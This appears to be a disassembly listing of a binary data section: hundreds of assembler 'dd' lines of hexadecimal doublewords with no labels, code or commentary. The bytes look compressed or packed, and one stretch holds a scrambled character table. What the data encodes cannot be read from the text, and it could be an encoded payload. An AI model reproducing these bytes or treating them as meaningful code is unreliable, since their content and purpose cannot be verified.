		dd 0D0F400C4h, 0F7141BB2h, 0FF00E7EBh, 89BBA865h, 18E318Ch
		dd 0A1C76630h, 0F08693BFh, 0F8125588h, 88006106h, 0D1267423h
		dd 3925E430h, 2C002EE1h, 33C697F3h, 352E44C1h, 3A398931h
		dd 653B3Ah, 1896DF36h, 0D78B46h, 424039EBh, 0D32D4CD8h
		dd 1EDBFE01h, 0CABF79DAh, 83C7D4h, 0F7D9E880h, 0EC5589C1h
		dd 3E60CB00h, 0EB01F8A2h, 71A400B6h, 1432AF43h,	0A7002DAEh
		dd 0A1B42B93h, 9C0FFAh,	0FBC1B801h, 589666EBh, 116BEC00h
		dd 2703F80Eh, 0A6D83DA0h, 4EE5C180h, 0E02D6EBDh, 4FD58709h
		dd 0E4E7006Ah, 222C35Bh, 6084482Ah, 61E06B29h, 0E48BA13h
		dd 0C20776A2h, 5721C385h, 2BE35680h, 0D874030Dh, 0D680DCC7h
		dd 0D1F0EAF8h, 5D8D6300h, 28C25F90h, 0E7FC0008h, 0A4F8C4CAh
		dd 270045CEh, 48F324DAh, 1E1E91EFh, 40441A22h, 7538920h
		dd 0C0074FC4h, 0E6E8D4A3h, 0ACCD82D0h, 0C66E00B7h, 0F43FF02Bh
		dd 803C2606h, 0C0FE02FCh, 60752D0Ah, 59DE4ABh, 412E74C4h
		dd 0A4A68146h, 5ECDE4F9h, 3880500h, 0EE8A6B53h,	8DCF1F2Ah
		dd 0D6AD8742h, 0EB5BF0ABh, 0A400CC88h, 0D8DEA1C3h, 1B8C41h
		dd 7FD307Ch, 4DFF01F5h,	7475F425h, 0BB0D00C4h, 3414DE45h
		dd 0E40FC400h, 41AB127Eh, 43290104h, 4B0B1F91h,	0F9987150h
		dd 0DEC16031h, 6BB86600h, 2E6C9622h, 9E1E00EBh,	9A88FC25h
		dd 0DD004517h, 0F7EE7E0h, 1CC9B258h, 808DF228h,	0BF065975h
		dd 0C200AA9Ah, 45D36649h, 64E31Ah, 0A9F938B4h, 847A16D8h
		dd 736D3100h, 0C92E3283h, 8DA70008h, 0D0445F46h, 0F5008925h
		dd 0A03D0320h, 58227507h, 4600BB09h, 119FA506h,	737B90AAh
		dd 9D7E811Fh, 326B800h,	0E1340h, 0CDC43C6h, 0DB8D6BE9h
		dd 2D2E0801h, 69053FFFh, 2104E12Fh, 5B6C7048h, 83C44000h
		dd 0E051ECA2h, 0E1D901F4h, 72BFE837h, 0DBFCD80Eh, 749C2D00h
		dd 9BF2D8A7h, 83DD3C48h, 0FAA8D401h, 0FC410B70h, 9A00DA09h
		dd 0F8EF80BCh, 7E675DFh, 3187BF2h, 9B6BF0BAh, 4400148Ah
		dd 7DDE515h, 8E8C0h, 660F7004h,	45E33005h, 621DE27Ch, 480032EBh
		dd 64CBCAAh, 82F0073h, 8205C879h, 0C00F83Bh, 0A303C96h
		dd 712FF83h, 8027730Fh,	351F707Ch, 44E425C6h, 4FE00E00h
		dd 0FE0D781Ah, 13800011h, 0EBED7739h, 2F981F14h, 3128A601h
		dd 525F9862h, 7A533530h, 21190325h, 0F150A190h,	77835688h
		dd 0C1303A00h, 389D6EAh, 53120088h, 6A80C302h, 6008BEEh
		dd 0A0042ECEh, 7CA0BC8h, 0B46B840Fh, 79FC4069h,	5C2C9DAEh
		dd 0EA008361h, 1EFF13F3h, 607A00D1h, 1F7C04F6h,	0F4891BFh
		dd 82D0EFDh, 81A70064h,	0B6B3DAh, 15730DE0h, 0E0549F2h
		dd 27D22103h, 98989378h, 0DFF410h, 0B8D7146Dh, 0C22B122Ah
		dd 0DA790104h, 9FC18534h, 0E44062F5h, 614057h, 0F7A4B91Bh
		dd 0C0DF6A1h, 0F93DFE00h, 24C4811Eh, 1F75000Fh,	0EBECCC49h
		dd 0A00397Bh, 0AA3004C1h, 1E7820h, 2122D489h, 0EA44316Ch
		dd 0B009873h, 3134C8Dh,	0C61602h, 80D58207h, 0F7D1853Fh
		dd 0CCB9540Eh, 0E5EB271Fh, 88D271E0h, 0D5FB008Ah, 6FF19E9h
		dd 0B900F008h, 9D9B1CD1h, 261EBA7Dh, 27E2DBh, 6BF89A6h
		dd 0F600E8EEh, 3E13C185h, 5C0DFF80h, 303AD7C5h,	464E0107h
		dd 7075F0FCh, 7D008286h, 53A0CE0h, 2C6699h, 1246152Bh
		dd 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h, 5CD4B81Dh,	0E83B960Ch
		dd 2A582B80h, 9C43D003h, 0DE252404h, 0BDC11362h, 0AAFC8498h
		dd 1C35F212h, 825002F9h, 3E52E0D9h, 3FDFB0E0h, 0DB6EEB00h
		dd 8AFF9B8Eh, 0D2A90266h, 0B0179E26h, 0DD90C1E3h, 527F89BCh
		dd 906D2800h, 0C30B859Bh, 989900ACh, 4ECA4320h,	0C40027DDh
		dd 0F03A2CF3h, 0F730Ah,	290DDA26h, 0CE904349h, 53B80600h
		dd 131CEA52h, 140E008Ah, 619DB3CAh, 0A93D9428h,	6BE4002Ah
		dd 9040EDD2h, 0F4FA0381h, 720A9E9Ch, 2143801h, 0BCC54BB5h
		dd 0B871F8h, 250E978Ah,	0F0340F4h, 0B67850Fh, 7606A055h
		dd 0FE81216h, 3F957AA7h, 741B0520h, 1C002029h, 16B93862h
		dd 3C278B40h, 0DF8FB015h, 5B40C477h, 0B932D1B8h, 3D52073Fh
		dd 34450030h, 0AF3F272Bh, 43906Ah, 511008EEh, 88154B90h
		dd 42003EB8h, 0E40C2344h, 1E793A14h, 73918Ah, 85080A5Ch
		dd 0B11E0490h, 210074FCh, 2CEC64F8h, 60422CE0h,	56520027h
		dd 97915014h, 0CF19507h, 8762FC78h, 8225C008h, 0B8400073h
		dd 8C5D54BCh, 8D0024D7h, 158B64A8h, 8043F3h, 0CB4EC93Dh
		dd 1C303312h, 9810BA00h, 708D404Bh, 734F00D4h, 76B30BC4h
		dd 743F8744h, 0EC7A8045h, 5798F20Dh, 258C006Fh,	302F206Eh
		dd 42E4F178h
		dd 1C0E397Eh, 0E7760410h, 0A8340E1h, 2B110082h,	5025D453h
		dd 8B0BB273h, 33E9ABAh,	0F860A7EEh, 0E1A5D84Eh,	1318960h
		dd 0F71EE3DBh, 408A07D0h, 97C1FF8Fh, 0D80E1879h, 0D108B3h
		dd 350573E0h, 71060B41h, 70809DDBh, 0ACE6E2F3h,	85C33803h
		dd 0B9038B61h, 53F8F420h, 1F30E618h, 3085DF2h, 98DB0CE6h
		dd 0F410E099h, 8D122E7Ch, 0E0E3353h, 0E7D140B0h, 0D74DFDh
		dd 0AEF8DC3Dh, 0F2015AC3h, 76F68500h, 3C647163h, 0CAE029h
		dd 0EEE0E9C1h, 35FF983h, 1F7E800h, 0E78166FAh, 0BA0F00FFh
		dd 2CE5C26h, 0C7003BF8h, 9DD02177h, 10CDF5h, 4E14069Fh
		dd 0E09373FAh, 0B507247Eh, 47E88801h, 0C5BF023Bh, 0EB3FC07Eh
		dd 212C011Ch, 1F0F5372h, 0CC10E4C6h, 4E0002E0h,	0B8B9D75h
		dd 0E498C985h, 0FF7A3E35h, 3BCAFB80h, 4F5FE15Ah, 0E54EB014h
		dd 2BA9008Ch, 4C770CBAh, 0DAB8177Dh, 0C2690145h, 30080110h
		dd 0CE1F71A7h, 3ABE5920h, 16378099h, 0B1438D27h, 0E06E00C3h
		dd 0E9775A35h, 0CC03CA55h, 0C085C950h, 0C73CA876h, 0D6810033h
		dd 0F30C5D70h, 100E540h, 0DC92772h, 71C2F002h, 0D68B3E13h
		dd 0CF507480h, 0F8D103D2h, 87057539h, 0CEB3201h, 0B4A6B080h
		dd 0A02F0054h, 91757948h, 11FE42A5h, 0B657700h,	75676B5h
		dd 5478ABh, 9D7B22BBh, 0BFAE3CECh, 0B10C7000h, 9A2DC2B4h
		dd 0A049481Ch, 0CE34A11Dh, 52E0880Ah, 0FED0845Fh, 77F23200h
		dd 0C8F94CAh, 0FAD1004Bh, 8A7F2089h, 11005653h,	0B8E1CB27h
		dd 0ADA17h, 76F4F0Fh, 0E3C8FDF2h, 8A225500h, 0BDEAF8FCh
		dd 759F008Bh, 5334AA87h, 0C7027C8Dh, 0CA1E88A3h, 840740C3h
		dd 28A00D5h, 274307ECh,	0DE004647h, 7570B033h, 28E6E8h
		dd 2A09BC80h, 4B26048Bh, 16C78A00h, 0F13E0649h,	0F40000Dh
		dd 0C8E65B81h, 7D3B0C34h, 37311824h, 5711DCh, 40478014h
		dd 0D97B754Bh, 28EFF100h, 50390563h, 4E8E8B9h, 0CF498F20h
		dd 0F8E280ECh, 0B100B054h, 2E0BAFFh, 39735C8h, 496071A7h
		dd 0D9B013FCh, 2900ADC2h, 4B89A09Dh, 7CDB85h, 5843762Dh
		dd 0A5799FD7h, 41023000h, 0FF5EE180h, 0D9953C01h, 0E9181480h
		dd 0C70A57E2h, 88A11C00h, 0F21F75Dh, 408C0059h,	183C8D12h
		dd 307F2AC3h, 2ED61F00h, 2410A9EBh, 75217EABh, 0E3800002h
		dd 0FC3245F3h, 75011A6Ah, 0FE4134F0h, 0D670DFB6h, 0E52C0749h
		dd 0E07D3173h, 0B9FF3E62h, 4D9FD400h, 5F9589ECh, 9334001Ch
		dd 9BDD88B0h, 1A1D0C71h, 0A89DE410h, 6EB78680h,	0C776B4h
		dd 0DE3D34Ah, 0D6E8FD4Fh, 7E400401h, 4730BE21h,	0E0446130h
		dd 13FF7D18h, 1A2CBFh, 0AF4ED6FAh, 0F2B89F23h, 59760E9h
		dd 5FE4FE00h, 82783EBAh, 5816037Bh, 9297831Dh, 755BC998h
		dd 33ADFC00h, 8D487C06h, 89231FBBh, 0A7084157h,	61042035h
		dd 904EF815h, 54A2FE03h, 8041C59Ch, 7444342h, 48474645h
		dd 4B4A0049h, 4E004D4Ch, 0A51504Fh, 38545352h, 5801C655h
		dd 62615A59h, 6564C063h, 68676603h, 806B6A69h, 76E6D6Ch
		dd 7271706Fh, 75740073h, 780E7776h, 307A79h, 34333231h
		dd 37361C35h, 2B390038h, 24203D2Fh, 9D284Ch, 7D7B5D5Bh
		dd 703A3B2Ch, 5C5F002Dh, 927222Ah, 91000D0Ah, 0AAE4C4E0h
		dd 7388E867h, 0DA950F04h, 0C55E24FFh, 0C084EA21h, 0EC8B2706h
		dd 1490B926h, 3620CB03h, 70D5A801h, 15E60FFCh, 0C62080B5h
		dd 5C49E960h, 9E099B00h, 9C732D85h, 947A00FCh, 114A641Bh
		dd 96FC6B5Bh, 8CEC9F00h, 0DB2D16DCh, 0C39707C0h, 914B5421h
		dd 0FC66C204h, 190759E4h, 941FEBECh, 956BC70h, 4052008Ah
		dd 0D4CF5C7Ch, 33001571h, 0FF273929h, 3C4BA3F4h, 790010FDh
		dd 83481F05h, 400093C8h, 0A5CEB6F0h, 823252h, 0D98CD5F4h
		dd 0C6660347h, 11F01600h, 5521429Fh, 4ABF0051h,	6C7EE292h
		dd 0BB0076E1h, 0EB071569h, 41B929h, 0DC30630Ah,	0AB83E806h
		dd 5600807Eh, 0E7C1157Ch, 0F869CFh, 8BFD097Dh, 7E58562h
		dd 8F82B80Eh, 464BC10Bh, 3D60ED05h, 76EA00F0h, 2BBCE14h
		dd 0C7143032h, 0CAF468h, 0EFC11A13h, 1C6FF24h, 336AD94h
		dd 41FA6E7Eh, 2B13ED8Ch, 6AA1B0h, 0A6C246Dh, 7BEF947Fh
		dd 15684A00h, 648CD44h,	387A4Bh, 519E418Bh, 2F02BAF3h
		dd 921ACF07h, 0E83084E9h, 7BDD206h, 0A7EC4FF9h,	2ADF90C2h
		dd 2004589h, 169F4999h,	0ECD9C65Ah, 6B7623h, 2F42C288h
		dd 0F0CA36FFh, 0BA70E100h, 0F969CB33h, 0AD5C00D4h, 6068A240h
		dd 627F6FD8h, 3BB50303h, 0A86D5AA4h, 1FE361Dh, 5315C83Fh
		dd 0D4952D01h, 0D8023B81h, 0C029B27Ch, 6EE0E01Bh, 592EC49h
		dd 50B1C594h, 2132839Fh, 0B2525207h, 62B071C4h,	790B0A0Dh
		dd 1EB473FFh, 15D80CAh,	0B186A9C6h, 0A33EF44Fh,	50495307h
		dd 16B5B95Bh, 32A0C1C7h, 0FC982A64h, 0F8281C13h, 5EB9C023h
		dd 52250194h, 4690200h,	484EB36Fh, 0A25F0010h, 0BF446CF0h
		dd 25001609h, 9DC24FAEh, 3081B8h, 9208E2C1h, 0E90071Dh
		dd 47D10B00h, 75484B0Dh, 782E74EEh, 0FAB70066h,	498A01D3h
		dd 0C0F8840h, 206A4306h, 0E183CAC1h, 6CD5003Fh,	184C2596h
		dd 0EAFA270Eh, 6031E70Fh, 0D6D4006Bh, 79FC6ACh,	68B1527Fh
		dd 900A97C9h, 750BCB7Eh, 6B80D100h, 902D37D8h, 0B85000E6h
		dd 477CE29Fh, 3F72A4A3h, 4058AB00h, 252785A1h, 9F000C6h
		dd 5F1CF405h, 8F000F15h, 334E99A4h, 0EC859A23h,	0F36A0058h
		dd 0CAA15AA9h, 761E05F1h, 308A2B8Dh, 7C01BB3Ah,	0E0EFE378h
		dd 0A2D0D6F5h, 0A4EC64h, 0F692FF30h, 75023A07h,	0E2C64600h
		dd 94D701EFh, 0F83E0F17h, 7CC08483h, 0B6D44733h, 0BCA8E07h
		dd 5E90148Dh, 139629h, 0C9241C1Eh, 0FE0274B1h, 1ADC0900h
		dd 0D280B8FFh, 3B5E079h, 754F4304h, 7DD830D3h, 10017414h
		dd 0C45B1FFh, 0C03E3B08h, 0A689057Ah, 2EDDF400h, 44D12D1h
		dd 341D0F65h, 4700F78Ah, 0FD44F8A1h, 0A200D9E4h, 6590899Dh
		dd 582E38h, 0F02D704Fh,	10E9A151h, 0A2271801h, 74532F85h
		dd 0BCD1D8h, 0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh, 4717CDC0h
		dd 1E8AEB5h, 0F6B02BCFh, 20E6D655h, 0F0122C84h,	9CECC3FAh
		dd 0D465007Eh, 0C1E4ED15h, 0F7000316h, 0CE2B94BFh, 756247h
		dd 12EC04B9h, 0A7C82728h, 1114D3Ch, 2EDE2CD3h, 0C0D7A242h
		dd 1EAED4A3h, 8FCAA4E4h, 5A3DD69h, 0DCB87610h, 0D0018BD7h
		dd 89DF6F62h, 9220A270h, 107891h, 13A9D812h, 2C78F0CBh
		dd 80060B00h, 60E25C3Bh, 4BFEFEh, 0B57EB0DEh, 0E5BD2AECh
		dd 154F1B00h, 194558F4h, 927777h, 7FB7DD56h, 5E5F630Bh
		dd 0F4716001h, 91A5C438h, 875F0h, 0F24A5A33h, 44022717h
		dd 41A4EF00h, 69E95748h, 5FEC6Fh, 37814531h, 9453885Bh
		dd 57018D7Ah, 0E8719D0Dh, 46C847BFh, 17C800A0h,	5FC34287h
		dd 34029CDDh, 0F0C5FC91h, 2256C1AAh, 3812CCh, 72F77DA4h
		dd 19681384h, 0C174C600h, 505FC752h, 0A69F00BDh, 9D0F7386h
		dd 2C000279h, 34EC9632h, 64AF37h, 39C495C6h, 56B29EB3h
		dd 0C585F71Fh, 4DB86345h, 0C3EC58C0h, 0D31D003Fh, 0A632E606h
		dd 0A094B17h, 0CDE7B1h,	3A25A58Eh, 0E6AAEC29h, 93FA0044h
		dd 0D01B9266h, 5E01BB65h, 14B45026h, 2AD419F2h,	0C79F0987h
		dd 0E60089A9h, 0AF560574h, 316F839h, 9CB466ACh,	0D88CC364h
		dd 758BDDh, 4B937C2Fh, 6A24A058h, 7A820300h, 5AC773A4h
		dd 0BA727Eh, 27841D5h
		dd 0C327116Ch, 4B8E5901h, 0A6B01E5Fh, 40D2ECh, 7517496Fh
		dd 227C3966h, 0A39F4507h, 86202F71h, 0D94161h, 7BDB2529h
		dd 676F881h, 35A85500h,	75AE2638h, 0CB450093h, 1834EA74h
		dd 232E04DFh, 0AC034A08h, 0E88237EBh, 641AE2h, 0A6432101h
		dd 9854B34Ah, 0FC93B909h, 48815F69h, 0D4022D6Ah, 7D004DBEh
		dd 0C59B05A4h, 0B062A7h, 42BFC963h, 1C8F36A8h, 0FF96D100h
		dd 0C4B8BC6Ah, 124F1D5Bh, 9C5C044h, 2C464772h, 40703802h
		dd 7D94C0AAh, 0E8C0230Fh, 0FC9591DBh, 45F60A7Dh, 8D268F00h
		dd 7AF2357Bh, 1AD2052Fh, 0C0F007D3h, 0C2552B85h, 0F4D07800h
		dd 1B3BC13h, 100B002Eh,	0E881A64Ah, 910F2924h, 60F164A5h
		dd 9F0D9669h, 95840046h, 866A4BF6h, 0E8075414h,	302B75FCh
		dd 0F0CBE693h, 0E329BAh, 0AC2C164Ch, 0F55CF4E4h, 48FC2D01h
		dd 5A59A165h, 70A580F4h, 0A62107E2h, 436C14C4h,	35A94485h
		dd 5F51E0DCh, 92F46000h, 0C9311EFCh, 0CA090549h, 80405553h
		dd 0C807302Dh, 94E98800h, 0B6F2E06Ch, 667C08h, 0D806EBD1h
		dd 35F00973h, 83203E1Ch, 0B8F38100h, 0CEFEEDh, 31EB1C75h
		dd 4FDA8EC1h, 5BD5E100h, 0EF6CD2F7h, 0A5D0003Eh, 0AFA955C0h
		dd 61004384h, 97C447D4h, 0E8510E2h, 28BFEDA0h, 0EC41DA0Fh
		dd 0F0A8E0D6h, 0BBFC59ADh, 80F3A53Eh, 46712D63h, 7B849743h
		dd 0FC1807B2h, 518A1403h, 0C09DDF92h, 9EB0D368h, 0F8043Dh
		dd 5DD0D45Fh, 3CC60150h, 8980B0A2h, 85FC29B7h, 4DEE17A9h
		dd 7B2CDC00h, 5A241051h, 0E8010021h, 0B1ECDD4Fh, 93057102h
		dd 52DF2347h, 0F31617C0h, 4FAC0028h, 77E50FCCh,	3E002941h
		dd 0C8099412h, 1B1697h,	0F9A8072Dh, 7CD15A58h, 0F0564500h
		dd 0BA51F6E6h, 5B380160h, 0CE077948h, 0B146CCEBh, 10FE8300h
		dd 0C1ECF1EDh, 0DC95005Eh, 96D37224h, 0A800ABE2h, 67BD1E75h
		dd 0E8D1ED2Bh, 8CB000E6h, 70834FF8h, 7C0058FFh,	3C709EFh
		dd 9160C0h, 0A8A0048Ah,	3B94980Bh, 61114A00h, 51010244h
		dd 0E3C10012h, 88C33683h, 71174606h, 2800295Fh,	34B264ABh
		dd 0A58B1DAEh, 0E45200D2h, 92B2CB1h, 5CC45905h,	0C8016278h
		dd 565B5A02h, 7F89760h,	8BFC12AAh, 40C2B7F3h, 789E7908h
		dd 0B1A96000h, 985E58Eh, 0FE500134h, 4D8B42ACh,	0FD94DCDAh
		dd 51E8AFF8h, 7400197Bh, 49CF5C1Fh, 1D952044h, 8D1118h
		dd 0CEEA2FA3h, 0AB984556h, 58B02100h, 209EA967h, 2AF3007Eh
		dd 2C29BC6Dh, 0D8E89F57h, 0CA529C00h, 42A4968Fh, 0D575FFh
		dd 0ABE8C3C1h, 290C3292h, 0AF880807h, 0ACE0DB7Ah, 1CC21FCAh
		dd 0C0E69443h, 1C77CEEDh, 61E2BA6h, 814097AAh, 0E38D5426h
		dd 5E280070h, 0DCBC2C4Fh, 0F277C28Bh, 0B689E200h, 912F1CAAh
		dd 834000E4h, 64751EF8h, 0DE019A5Dh, 0E83120BBh, 646049A3h
		dd 0B7241E79h, 0A2A500A9h, 4659DE5Ch, 62B52900h, 2EA68A3Dh
		dd 891A0010h, 0AE1F783Bh, 0EF1E200Dh, 0A2405096h, 8B100E75h
		dd 0A98D00FEh, 7ADF1DEh, 6600A5F3h, 2D5B1E29h, 51AABDh
		dd 0CBCC734Ch, 0C9705CB8h, 0BD4E000h, 3F77FC45h, 29C400F5h
		dd 7C27785Eh, 4C0081A9h, 0B22B1ED9h, 3B8352C0h,	0BD0088DAh
		dd 0B3ABFE59h, 0B900D40Ah, 33B4A913h, 1420AAh, 5F90C3C9h
		dd 0AF81EA92h, 5108B900h, 0E97C805Eh, 126E001Fh, 7B74A9DDh
		dd 500EB3Bh, 570F01B5h,	0C282Ch, 92049EC8h, 0CCE40DC9h
		dd 0EE063Ch, 10D008D4h,	0F831FCh, 1DD87D89h, 59226421h
		dd 0AC1F34F8h, 0F60080E0h, 528AACBh, 0BCD400C8h, 0B3E81662h
		dd 0BE002B24h, 0D01EBA19h, 7E33D802h, 2C050049h, 0EB63D759h
		dd 32002126h, 0F21E6FCCh, 2C1CC851h, 8E0BF7h, 2331716Ah
		dd 600159Bh, 0E14CBA84h, 0D2CBFAh, 0CE2824Bh, 779808DAh
		dd 9A0B2700h, 3B42D6D3h, 9FB0ACh, 6759C2C8h, 5CD42630h
		dd 9600DEFAh, 1B88CCE8h, 0DC7EADh, 50E94151h, 0FBFE7DBh
		dd 0BCDE6300h, 440C70B1h, 94EF0361h, 0A82414E3h, 2010709Fh
		dd 0AC0040B0h, 39B481B8h, 0F85BC5h, 0B6BE24FCh,	0DC224972h
		dd 20581D73h, 0A4AD004Eh, 19FA1E82h, 0E00200B8h, 0B449DC3Bh
		dd 0D2732D16h, 36C5Ch, 71CF4691h, 28AC29h, 2EB6704Fh, 0BE18A867h
		dd 9AC3B216h, 6900911Fh, 22291646h, 24AD0164h, 0D81B996Fh
		dd 0B6E0DE51h, 505BAA8h, 64F9E3ECh, 0F195A50Ah,	54189107h
		dd 8F200DBh, 1FD84293h,	814EB914h, 89D2D0B2h, 0CC1C9E64h
		dd 988603FDh, 0C80A91D9h, 53AE5Bh, 175874DBh, 0EF0B4A4Eh
		dd 0FF9CF018h, 0EC7552h, 185F8068h, 0F4E363C1h,	0E02BA00h
		dd 1E4E1077h, 0E48C01AFh, 18A7F660h, 2030D914h,	0E1752A88h
		dd 4C7C7175h, 0FA80DC01h, 820643BAh, 8C68DCh, 0B33242Bh
		dd 2CD247B9h, 42621900h, 0C9DC21AEh, 0CED72673h, 0B2900085h
		dd 430C967Bh, 7D3C2D7Dh, 8010B977h, 22FFD392h, 0C08368h
		dd 0F31FB078h, 0CEDBF603h, 0BACF1B00h, 40AF3F13h, 87B600B2h
		dd 0D7E7F40Bh, 4C0092DFh, 11D46D0h, 0F87032h, 0F4F15DD5h
		dd 0EC933C2h, 0A9CAD200h, 29AF6A84h, 2A811238h,	0C3050102h
		dd 0C9109E43h, 8722703Fh, 0F5933Fh, 8F060F38h, 3BE30811h
		dd 1680FA0Ah, 0B4F845B7h, 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh
		dd 7CB091E6h, 5C0E479Ch, 79535400h, 694C0901h, 31500062h
		dd 736DC81Eh, 0F3030C5Ah, 0FF2593CCh, 1D8BD856h, 0A953023Eh
		dd 7D04BFD9h, 95746240h, 75EFFB0Eh, 1A02610Ch, 81F59868h
		dd 8BECF4h, 0EB124DD3h,	0EECFF34Bh, 5F4A4800h, 0FC555280h
		dd 25C13BB8h, 934BE880h, 0D01603Ah, 9F761C00h, 45283EE9h
		dd 0A9440006h, 2714914Fh, 2500F823h, 0E5EA6BABh, 7421396h
		dd 124756DBh, 6CD18053h, 78001B76h, 9CB9A1C2h, 28D745h
		dd 954E4F1Fh, 0AC841D68h, 2299A200h, 0DFE68B71h, 903A7896h
		dd 645C00D7h, 0D98F04ECh, 51007509h, 0FCF01440h, 0ECEBB2E4h
		dd 8C5B015Fh, 8464BDFh,	63DECE6h, 4253B00h, 0DB19C1D0h
		dd 0EC0200EBh, 78B9F6FFh, 2D000DF7h, 2CC4F43Ah,	0B89DAAh
		dd 3358DD7Bh, 20BEC529h, 624CB207h, 145013E6h, 35BE82Dh
		dd 8DB86104h, 80EDAD2Fh, 6890DD1h, 4938F800h, 5328BAC6h
		dd 0CB150A91h, 0AC318Bh, 3FB833Fh, 0C006076h, 9BE848D2h
		dd 24C518h, 9C098940h, 0B01F0456h, 7E2B1425h, 9A8D00CDh
		dd 0BA1A8626h, 0E6313800h, 0F4C2CA93h, 82240394h, 29B2F972h
		dd 0AF051B0h, 26DB2200h, 9317E83h, 0F22B3D74h, 0A54E7980h
		dd 9B20B425h, 874F987Fh, 1A2C4DBCh, 0A9C70040h,	91DC45C9h
		dd 804D073Bh, 8A032D2h,	7C701094h, 0E4A82C5Ch, 85E80085h
		dd 38BFB2B0h, 5F8BA400h, 14AFB7D6h, 98C800BAh, 85903B8Ah
		dd 0FF002175h, 66FF9BCh, 4C4E1E96h, 61008BDEh, 122BC667h
		dd 0E8FBF687h, 9F3C1043h, 0B2B78B55h, 0A08F006Fh, 29EAA5h
		dd 0C4363240h, 212DB350h, 0C671F39h, 0E2E165Ah,	22F86Ch
		dd 0D23CD34Eh, 0B8F84883h, 0A1B301Ch, 90167343h, 0B40CD8C5h
		dd 0B2440013h, 573ED36Eh, 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h
		dd 12532E4Ch, 295C0097h, 73D06630h, 2C03B3F0h, 2116D3A2h
		dd 545B8D8h, 0FFDD00D2h, 0C743759Ch, 0A90E1048h, 0AF490F26h
		dd 5C6E05ADh, 0AC0C0680h, 7C477574h, 9251EE4h, 37B30FB9h
		dd 0C26308A7h, 8940A2D6h, 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h
		dd 0E08480A8h, 0B5165CB3h, 63210069h, 0ECFC6579h, 9400478Dh
		dd 542DF450h
		dd 7F5ABAF0h, 65B60026h, 0D04351BFh, 0C6000AB2h, 2B610B8Bh
		dd 0E1B510h, 559D8A6h, 0E6A8C4Ah, 0B7D49C00h, 0BCCDA06Bh
		dd 7AC40E11h, 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh, 7D549D00h
		dd 83DE9ECFh, 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h
		dd 394F73C0h, 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh
		dd 8492D00Ch, 0B85D3207h, 89C9B412h, 26AA00FAh,	82EFF4h
		dd 51CE7D8Dh, 0FDC39257h, 6642411Eh, 21F34C47h,	387EBC7Ch
		dd 0BF00493Eh, 19EBE8D2h, 0A800C3BEh, 0B48EA30Eh, 9E2FACh
		dd 1DA6759Fh, 42485536h, 62034BF8h, 0D89B545h, 44A9D06Dh
		dd 0A5CE0191h, 22D725BFh, 0B8AFC47h, 0AC644A00h, 0F819F669h
		dd 0A829001Ah, 0DF54E20h, 7BB8BA2Ch, 3F6051ECh,	0BE80D616h
		dd 105E0BB9h, 28808875h, 0CCAB85FBh, 0D6502607h, 0E71FE031h
		dd 558044BEh, 3E25D2F4h, 74047864h, 0C0A040FBh,	0F02E13D3h
		dd 0D8482AE8h, 48CD0076h, 9559B745h, 0E2050078h, 0C1BAD5B8h
		dd 5400F8DCh, 0E18ED34Ah, 2EC4694Bh, 0C19062h, 88792B52h
		dd 650078BFh, 80C1B0B7h, 107EBh, 3A740472h, 7D956E67h
		dd 755CE9F8h, 1451006Ch, 9EE325Dh, 0E590028Ah, 4DD78970h
		dd 0BE81D489h, 0D804B84Fh, 1E00FDA2h, 0A1383652h, 20E6305h
		dd 1D451723h, 0DA401929h, 92FE8048h, 0F104741Dh, 0FDA5E7C0h
		dd 7CDE4F4h, 0F00693FAh, 0B92F9061h, 0BB00793Fh, 4A97892Bh
		dd 1835B59h, 8E1CC778h,	700AFB45h, 0C90013BBh, 4B7E0D0h
		dd 2659FA5Fh, 0DE010Dh,	0E7557C8Ah, 0E8074284h,	5319A76Bh
		dd 0FF046FE0h, 57933E8Eh, 0C85A1A00h, 8FB083FEh, 0A7E2F03h
		dd 9880E10Fh, 0F94594h,	15086EEBh, 81C49610h, 67D38600h
		dd 0A528F895h, 0C5AD1F41h, 0FE830001h, 0FC457E02h, 0B000998h
		dd 3E7DF03Bh, 0FA4178h,	0B838147Fh, 48A08203h, 0D4287528h
		dd 2421F800h, 0B1541A22h, 102EC84h, 0AFFB672Dh,	60DC68C2h
		dd 0F4CF45Dh, 80553EADh, 0B9368BC5h, 3CD20873h,	0B897304Ah
		dd 0EE8800A7h, 0E4C16D7h, 616C4300h, 1C8E3373h,	0C8460048h
		dd 0ACA754D9h, 0F03E8B0Ah, 347D80CAh, 24B50CE2h, 0B8A20F44h
		dd 0B9C0233Eh, 847252A4h, 0F414D005h, 2EC003F9h, 1326FE9h
		dd 36FFC327h, 30E025E2h, 5C484A69h, 7CBC000Fh, 0A72B20D1h
		dd 99D4004Ch, 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h, 0DDCAEF01h
		dd 0CC563334h, 1845CE8h, 0DC60FC27h, 0F42D4628h, 0BE4A2FFh
		dd 88008398h, 3B633169h, 7FC99E21h, 0F9E5000Ah,	4E47C14Bh
		dd 0DB98DB75h, 0A95B1207h, 0CCD0CF69h, 0E8BAB113h, 95030097h
		dd 20F1407Bh, 2300DC4Fh, 12C0262Eh, 0E738EDD4h,	36C85E8h
		dd 0F575A8BBh, 0BE88A9B0h, 7276CF3Eh, 0D68A4200h, 0C8F8910Eh
		dd 8D8E00DAh, 7DD2DC70h, 0D77B86F2h, 4DCB30EBh,	3E73E700h
		dd 1B094892h, 0D67B16h,	0BEB5205Fh, 6F67699Dh, 2F652500h
		dd 7BBB7389h, 997200B6h, 622ED8ACh, 5C00F814h, 2DDAC408h
		dd 7FF5BD48h, 0AF250085h, 0A5134D98h, 4C0EC6B7h, 0AEA4772Fh
		dd 1174A03Dh, 0B239CBh,	0EB057D0Bh, 0FF35EFAAh,	4831B800h
		dd 84D4295Dh, 34FC0064h, 62B995EDh, 0A800CBF8h,	0D88831FFh
		dd 0E4870803h, 4498004Ah, 0F2750F45h, 0C40043A3h, 528EBCF0h
		dd 7FB58B5Fh, 4D85006Bh, 4EB8BD7Bh, 22606CBh, 7500DB83h
		dd 49975E77h, 50032429h, 94C60329h, 0CEFBECC3h,	0FC7B0A00h
		dd 0ED45AA09h, 64407A7h, 906A1863h, 86D89A3Bh, 10AE7B00h
		dd 2474DC2Fh, 1D1707D9h, 0FE201319h, 575AA00h, 0AE000AC5h
